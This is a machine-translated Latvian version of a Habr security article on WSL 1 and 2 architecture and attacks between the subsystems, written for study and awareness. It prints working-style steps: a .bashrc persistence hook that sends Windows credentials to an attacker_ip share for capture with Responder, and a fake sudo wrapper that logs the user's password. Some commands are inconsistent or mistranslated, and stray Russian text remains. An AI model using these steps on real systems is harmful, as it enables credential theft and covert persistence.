Sveiks, habr! OTUS oktobrī uzsāk jaunu kursu plūsmu
2016. gadā Microsoft iepazīstināja IT kopienu ar jauno WSL tehnoloģiju (Windows Sapakšsistēma Linux), kas nākotnē ļāva apvienot iepriekš nesamierināmus konkurentus, kuri cīnījās par popularitāti gan parasto, gan pieredzējušo OS lietotāju vidū: Windows un Linux. Šī tehnoloģija ļāva izmantot Linux OS rīkus Windows vidē bez nepieciešamības palaist Linux, piemēram, izmantojot Multi-boot. Vietnē Habr varat atrast lielu skaitu rakstu, kuros aprakstītas WSL izmantošanas priekšrocības. Taču diemžēl šī raksta tapšanas laikā šajā resursā netika atrasti pētījumi par šādas operētājsistēmu simbiozes drošību. Šis ieraksts būs mēģinājums to labot. Rakstā tiks runāts par WSL 1 un 2 arhitektūras iezīmēm un apskatīti vairāki piemēri uzbrukumiem sistēmām, kurās tiek izmantotas šīs tehnoloģijas. Raksts ir sadalīts 2 daļās. Pirmais nodrošinās galvenās teorētiskās uzbrukuma metodes no Linux un Windows. Otrais raksts ietvers testa vides iestatīšanu un uzbrukumu reproducēšanu.
WSL 1: arhitektūras iezīmes
Lai visprecīzāk ienirt WSL drošības jautājumos, ir jānosaka galvenās nianses, kas saistītas ar apakšsistēmas ieviešanu. Viens no galvenajiem lietotāja uzdevumiem, ko atrisina WSL, ir iespēja strādāt, izmantojot Linux terminālu resursdatorā, kurā darbojas operētājsistēma Windows OS. Turklāt piedāvātā saderība bija tik dabiska, ka Linux izpildāmos failus (ELF) varēja palaist tieši Windows sistēmā. Lai sasniegtu šos mērķus, operētājsistēmā Windows 10 tika izveidota īpaša apakšsistēma, kas ļauj palaist Linux lietojumprogrammas, izmantojot noteiktu sistēmas izsaukumu kopu - tādējādi tika mēģināts kartēt Linux syscall komplektu operētājsistēmā Windows. Tas tika fiziski īstenots, pievienojot jaunus draiverus un jaunu procesa formātu. Vizuāli arhitektūra izskatījās šādi:
Faktiski mijiedarbība ar Linux operētājsistēmu tika organizēta, izmantojot vairākus kodola moduļus un īpašu procesa veidu - pico. Iepriekš redzamajā diagrammā var redzēt, ka procesam, kas darbojas Linux instancē resursdatorā, ir jābūt vietējam un jāizmanto tie paši resursi, kas parastajām Windows lietojumprogrammām. Bet kā to panākt? Projektā
Ņemiet vērā, ka piedāvātā abstrakcija ļāva nekoncentrēties uz operētājsistēmu (jo īpaši Windows), kurā ir paredzēts palaist citas operētājsistēmas procesu, un ieteica vispārīgu pieeju.
Tādējādi jebkura piko procesa lietojumprogramma var darboties neatkarīgi no Windows kodola:
- Sistēmas zvanu saderības un tulkošanas problēmas jārisina speciāliem pakalpojumu sniedzējiem;
- Piekļuves kontrole jāveic, izmantojot drošības monitoru. Monitors atrodas kodolā, un tāpēc sistēmai Windows bija nepieciešams jauninājums jauna draivera veidā, kas varētu darboties kā šādu procesu nodrošinātājs. Prototipa piko process shematiski parādīts zemāk:
Tā kā Linux failu sistēma izmanto reģistrjutīgus failu un direktoriju nosaukumus, sistēmai Windows tika pievienotas 2 veidu failu sistēmas, kas darbotos ar WSL — VolFS un DriveFS. VolFS ir Linux failu sistēmas ieviešana, DriveFS ir failu sistēma, kas darbojas saskaņā ar Windows noteikumiem, bet tai ir iespēja izvēlēties reģistrjutību.
WSL 2
WSL 1 bija vairāki ierobežojumi, kas neļāva to izmantot, lai atrisinātu maksimālo uzdevumu klāstu: piemēram, tajā nebija iespējas palaist 32 bitu Linux lietojumprogrammas, un nebija iespējams izmantot ierīču draiverus. Tāpēc 2020. gadā tika izlaists WSL 2, kas mainīja pieeju apakšsistēmas veidošanai. WSL 2 ir optimizēta virtuālā mašīna, kas atbilst WSL 1 resursu patēriņa parametriem. Tagad atkarībā no Windows OS lietotāja atrisinātajām problēmām varat izvēlēties vajadzīgo Linux apakšsistēmas versiju. Lai mazinātu iespējamās ievainojamības, WSL 2 tika ieviests, pamatojoties uz Hyper-V operētājsistēmā Windows 10. Šādā formā Windows ir iespēja palaist Linux operētājsistēmas kodolu izolēti. Ir vērts atcerēties, ka WSL 1. versija tika ieviesta kā beta funkcija, kurai vajadzēja parādīt Windows attīstības virzienu šajā jomā, tāpēc pāreja uz Hyper-V bija neizbēgama. Galīgā arhitektūra izskatās šādi:
Šajā versijā Windows un Linux kodoliem ir savi resursi un krustpunkts pastāv tikai failu sistēmā, taču šis krustojums nav pilnīgs. Mijiedarbība starp failu sistēmām tiek veikta, izmantojot klienta-servera iesaiņojumu, kas darbojas, izmantojot 9P protokolu.
Šodien Microsoft nodrošina iespēju pārslēgties starp WSL 1 un WSL 2. Abas versijas ir pieejamas lietošanai.
WSL drošība
Pašlaik ir vairāki darbi, kas apraksta dažas pieejas likumīgu OS rīku izmantošanai, lai uzbruktu komunikācijai starp apakšsistēmām. Mēs izmantosim viņu skriptus, lai pārbaudītu uzbrukumu atbilstību rakstīšanas laikā. Vispārējs uzbrukumu un scenāriju saraksts:
1. Failu sistēmas ieviešana: piekļuves tiesības, koplietoto direktoriju/datu apmaiņas mehānismu pieejamība.
Tika veikts pētījums, lai noteiktu piekļuves noteikumu pārkāpumus no plkst Linux FS->Windows FS, Windows FS->Linux FS. Pētījumi ir parādījuši spēju modificēt noteiktu failu mērķa OS. Tika arī mēģināts aizstāt, izveidot dublikātus un dzēst daļu failu sistēmu.
Scenārijs:
- A. Uzbrukums no Windows operētājsistēmas — failu modifikācija no Linux OS direktorijas /etc.
- B. Uzbrukums no operētājsistēmas Linux — failu modifikācija direktorijos:
C:Windows
,C:Program Files
,C:Users<User>
2. Tīkla steka ieviešana.
Pētījums tika veikts, izmantojot operētājsistēmas Linux operētājsistēmas Windows uzbrukumu piemērus. Tika izmantotas tīkla steka iespējas, proti, dažādu resursu autentifikācijas mehānismi.
Scenārijs:
- Piekļuves atvēršana portam, kas ir aizņemts Windows sistēmā
- Porta atvēršana bez atbilstošām tiesībām
- Reversā apvalka palaišana, izmantojot elf failu operētājsistēmā Windows.
3. Ļaunprātīgas programmatūras procesu palaišanas slēpšana, izmantojot WSL apakšsistēmu.
Pētījuma pamatā bija vienkāršs fakts - drošības apakšsistēmas nevar pārtvert notikumus citā kodolā, kas WSL 1 gadījumā darbojas, izmantojot likumīgu nodrošinātāju no operētājsistēmas. WSL 2 gadījumā nav iespējams apskatīt notikumus, kas notiek. atsevišķā kodolā vieglajā virtuālajā mašīnā.
Scenārijs:
1) Palaidiet lietojumprogrammu attālai piekļuvei sistēmai un skatiet reģistrētos notikumus.
WSL 1 eksperimenti: jaucējfunkcijas pārtveršana (Windows)
Beidzot nonācām pie praktiskās daļas. Pirmkārt, jums ir jāiestata testa vide. Visi eksperimenti tiks veikti uz stenda ar instalētu Windows 10 2004. Ubuntu 18.04 attēls tika izvēlēts par WSL operētājsistēmas attēlu. Attēls tika izvēlēts nejauši, un jebkurš cits darbosies tāpat. Komandas stenda uzstādīšanai:
Vispirms jums ir jāpalaiž powershell.exe
kā administrators.
WSL 1 jums ir jāizpilda komandas:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft
Ubuntu.appx install —root #Установим образ
Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.
Restart-Computer #Перезагрузим
Pēc statīva pārstartēšanas varat izsaukt komandu bash. Ja viss darbojās pareizi, Windows konsolē redzēsit līdzīgu izvadi:
Mēs izmantosim Kali Linux izplatīšanu kā uzbrucēja mašīnu; visām mašīnām jābūt vienā lokālajā tīklā.
Pieņemsim, ka mums ir nepiešķirta piekļuve WSL operētājsistēmā Windows. Mēģināsim uzbrukt Linux operētājsistēmai, izsaucot komandu no Linux. Uzbrukuma īstenošanai izmantosim vienkāršu autorun paņēmienu – pievienosim savu skriptu izpildei Linux vidē. Lai to izdarītu, ir jāmaina fails .bashrc
.
Iekārtā ar WSL mēs izpildām:
1. bash
2. Переходим в домашнюю директорию пользователя: cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Kali Linux mašīnā mēs palaižam:
1. Responder -I eth0 -rdvw
Windows datorā palaidīsim bash.
Mēs gaidām rezultātu Kali Linux mašīnā:
Tādējādi mēs ieguvām Windows lietotāja jaucējfunkcijas, izmantojot WSL apakšsistēmu, izpildot komandu Linux sistēmā.
WSL 1 eksperimenti: lietotāja paroles iegūšana (Linux OS)
Veiksim vēl vienu eksperimentu. Šīs pārbaudes laikā mēs pievienosim failu .bashrc
vairākas komandas, lai iegūtu Linux operētājsistēmas lietotāja paroli.
Palaidīsim bash un ievadīsim komandas:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Lai veiksmīgi pabeigtu uzbrukumu, lietotājam Semam Linux terminālī ir jāizsauc sudo. Pēc tam failā būs Linux OS lietotāja parole pass.txt
:
Uzbrukumu īstenošana tika sniegta tikai teorētiskai informācijai.
Nākamajā raksta daļā tiks aprakstīta 9P protokola ieviešana, apsvērta šī protokola skenera izveide un arī uzbrukums, izmantojot to.
Atsauču saraksts
Lasīt vairāk
Avots: www.habr.com